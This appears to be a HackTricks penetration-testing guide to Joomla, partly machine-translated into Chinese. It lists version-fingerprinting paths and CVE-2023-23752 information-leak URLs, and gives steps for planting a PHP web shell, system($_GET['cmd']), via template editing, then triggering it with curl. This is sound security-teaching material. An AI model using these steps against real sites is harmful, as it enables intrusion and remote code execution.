Joomla
Last updated
Last updated
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
通过 8kSec 学院深化您在 移动安全 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
Joomla 收集一些匿名的 使用统计数据,例如 Joomla、PHP 和数据库版本以及在 Joomla 安装中使用的服务器操作系统的细分。这些数据可以通过他们的公共 API 查询。
检查 meta
robots.txt
README.txt
在 /administrator/manifests/files/joomla.xml 中可以看到版本。
在 /language/en-GB/en-GB.xml 中可以获取 Joomla 的版本。
在 plugins/system/cache/cache.xml 中可以看到一个大致的版本。
在 80,443 - Pentesting Web Methodology 是关于 CMS 扫描器的一个部分,可以扫描 Joomla。
版本从 4.0.0 到 4.2.7 存在未经身份验证的信息泄露漏洞 (CVE-2023-23752),将泄露凭据和其他信息。
用户: http://<host>/api/v1/users?public=true
配置文件: http://<host>/api/index.php/v1/config/application?public=true
MSF 模块: scanner/http/joomla_api_improper_access_checks
或 ruby 脚本:51334
您可以使用这个 脚本 尝试进行登录暴力破解。
如果你成功获取了 admin credentials,你可以通过添加一段 PHP code 来 RCE inside of it。我们可以通过 customizing 一个 template 来实现。
点击 左下角的 Templates
在 Configuration
下拉出模板菜单。
点击 一个 template 名称。我们选择 protostar
在 Template
列标题下。这将带我们到 Templates: Customise
页面。
最后,你可以点击一个页面以拉出 page source。我们选择 error.php
页面。我们将添加一个 PHP one-liner 来获取代码执行,如下所示:
system($_GET['cmd']);
保存并关闭
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
JoomSploit:Joomla 利用脚本,可以 将 XSS 升级为 RCE 或其他关键漏洞。更多信息请查看 这篇文章。它支持 Joomla 版本 5.X.X、4.X.X 和 3.X.X,并允许:
特权提升: 在 Joomla 中创建用户。
(RCE) 内置模板编辑: 编辑 Joomla 中的内置模板。
(Custom) 自定义利用: 针对第三方 Joomla 插件的自定义利用。
通过 8kSec Academy 深入了解 移动安全。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
学习和实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) 学习和实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)